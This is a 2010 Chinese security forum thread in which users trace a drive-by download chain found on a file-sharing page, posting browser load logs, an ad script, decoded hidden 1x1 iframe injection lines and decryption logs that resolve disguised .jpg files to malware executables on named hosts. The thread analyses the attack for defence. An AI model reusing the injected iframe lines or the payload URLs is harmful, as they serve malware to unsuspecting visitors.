networkedition - 2010-4-7 10:17:00
Log is generated by FreShow.
[wide]http://jtzou.qupan.com/2459672.html
[script]http://userim.qupan.com/Scripts/ListenActive.js
[script]http://userim.qupan.com/Scripts/showFilter.js
[script]http://userim.qupan.com/Scripts/FriendAndMessage.js
[script]http://userim.qupan.com/Scripts/becomevip.js
[script]http://userim.qupan.com/Scripts/banner.js
[frame]http://wwwim.qupan.com/ggao/hl/760x60.html
[script]http://cpro.baidu.com/cpro/ui/cp.js
[script]http://bz.pee.cn/S/adinf.js
[object]http://www.sznm.com.cn/images/a.jpg?1fg2
[frame]http://bz.new320.info:171/360/index.html?id=7022
[object]http://bz.new320.info:171/360/me-.html?id=7022
[object]http://bz.new320.info:171/360/7002/a.jpg
[object]http://web.msx-1.info:8886/Down/my/7002.exe
[frame]http://vf44.8866.org:872/16.htm
[frame]http://vf44.8866.org:872/Kb.htm
[frame]http://vf44.8866.org:872/wm/ie.htm
[script]http://vf44.8866.org:872/wm/a.jpg
[object]http://go.yaofacai.info:872/dd.jpg
[script]http://vf44.8866.org:872/wm/b.jpg
[script]http://vf44.8866.org:872/wm/c.jpg
[script]http://js.tongji.linezin.com/1576390/tongji.js
[script]http://userim.qupan.com/Scripts/low.js
[script]http://w.cnzz.com/c.php?id=30019002
[script]http://wwwim.qupan.com/ggao/baidu.aspx
[script]http://wwwim.qupan.com/ggao/FuMouTi.aspx
[script]http://wwwim.qupan.com/ggao/tc.aspx
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)
zzzkkkmmm - 2010-4-7 12:47:00
锘?function() {
var pub = ""; var width = 0; var height = 0;
if (typeof (ad_pub) != undefined) pub = ad_pub;
if (typeof (ad_width) != undefined) width = ad_width;
if (typeof (ad_height) != undefined) height = ad_height;
var showurl = "http://bz.pee.cn/s/show.aspx";
document.writeln('<script type="text/javascript" src="' + showurl + '?pub=' + pub + '&w=' + width + '&h=' + height + '"></' + 'script>');
})()
这个怎么解密出http://www.sznm.com.cn/images/a.jpg?1fg2。不明白，望版主解答
小傻大呆 - 2010-4-7 12:48:00
锘?function() {
var pub = ""; var width = 0; var height = 0;
if (typeof (ad_pub) != undefined) pub = ad_pub;
if (typeof (ad_width) != undefined) width = ad_width;
if (typeof (ad_height) != undefined) height = ad_height;
var showurl = "http://bz.pee.cn/s/show.aspx";
document.writeln('<script type="text/javascript" src="' + showurl + '?pub=' + pub + '&w=' + width + '&h=' + height + '"></' + 'script>');
})()
老师,这里如何解析出来的
[object]http://www.sznm.com.cn/images/a.jpg?1fg2呢
辛达星郁 - 2010-4-7 20:00:00
锘?function() {
var pub = ""; var width = 0; var height = 0;
if (typeof (ad_pub) != undefined) pub = ad_pub;
if (typeof (ad_width) != undefined) width = ad_width;
if (typeof (ad_height) != undefined) height = ad_height;
var showurl = "http://bz.pee.cn/s/show.aspx";
document.writeln('<script type="text/javascript" src="' + showurl + '?pub=' + pub + '&w=' + width + '&h=' + height + '"></' + 'script>');
})()
document.write("<script language=javascript src=http://www.sznm.com.cn/images/ad.swf?txt></script>");
这里还有个flash呢？
把它下载，以文本的形式打开。
document.writeln("<iframe src=http:\/\/c5c6.16BLOG.INFO:171\/360\/index.html?id=7022 width=1 height=1><\/iframe>")
document.writeln("<iframe src=http:\/\/c5v6.8800.org:872\/16.htm width=1 height=1><\/iframe>")
setCookie("80g"+myname,"ok")
发现这两个地址！！
接下来就有很熟的加密了！！
辛达星郁 - 2010-4-7 20:05:00
:kaka6: 我这个貌似不对
弄出来的都是漏洞检测！！
辛达星郁 - 2010-4-7 20:11:00
关于:hxxp://c5c6.16BLOG.INFO:171/360/7002/a.jpg解密的日志(全体输出 - 2):
Level 0>http://c5c6.16BLOG.INFO:171/360/7002/a.jpg
Level 1>http://web.msx-1.info:8886/Down/my/7002.exe
日志由 Redoce2.0第91次修正版于 2010-4-7 20:09:21 生成。
辛达星郁 - 2010-4-7 20:15:00
关于:hxxp://c5c6.16BLOG.INFO:171/360/mv-.html?id=解密的日志(全体输出 - 3):
Level 0>http://c5c6.16BLOG.INFO:171/360/mv-.html?id=
Level 2>http://c5c6.16BLOG.INFO:171/360/+id+/a.jpg
Level 2>http://b.vv49.com/js.exeYY
日志由 Redoce2.0第91次修正版于 2010-4-7 20:13:21 生成。
:kaka5:
辛达星郁 - 2010-4-7 20:18:00
关于:hxxp://c5c6.16BLOG.INFO:171/360/7022/a.jpg解密的日志(全体输出 - 2):
Level 0>http://c5c6.16BLOG.INFO:171/360/7022/a.jpg
Level 1>http://web.msx-1.info:8886/Down/my/7022.exe
日志由 Redoce2.0第91次修正版于 2010-4-7 20:15:03 生成。
关于:hxxp://c5c6.16BLOG.INFO:171/360/7013/a.jpg解密的日志(全体输出 - 2):
Level 0>http://c5c6.16BLOG.INFO:171/360/7013/a.jpg
Level 1>http://web.msx-1.info:8886/Down/my/7013.exe
日志由 Redoce2.0第91次修正版于 2010-4-7 20:16:06 生成。
下面都是有规律的了
辛达星郁 - 2010-4-7 20:24:00
关于:hxxp://c5v6.8800.org:872/16.htm解密的日志(全体输出 - 8):
Level 0>http://c5v6.8800.org:872/16.htm
Level 1>http://c5v6.8800.org:872/Kb.htm
Level 2>http://c5v6.8800.org:872/wm/ie.htm
Level 3>http://c5v6.8800.org:872/wm/c.jpg
Level 3>http://c5v6.8800.org:872/wm/b.jpg
Level 3>http://c5v6.8800.org:872/wm/a.jpg
Level 4>http://go.yaofacai.info:872/dd.jpg
Level 1>http://js.tongji.linezin.com/1576390/tongji.js
日志由 Redoce2.0第91次修正版于 2010-4-7 20:21:56 生成。
MZKERNEL32.DLL
© 2000 - 2024 Rising Corp. Ltd.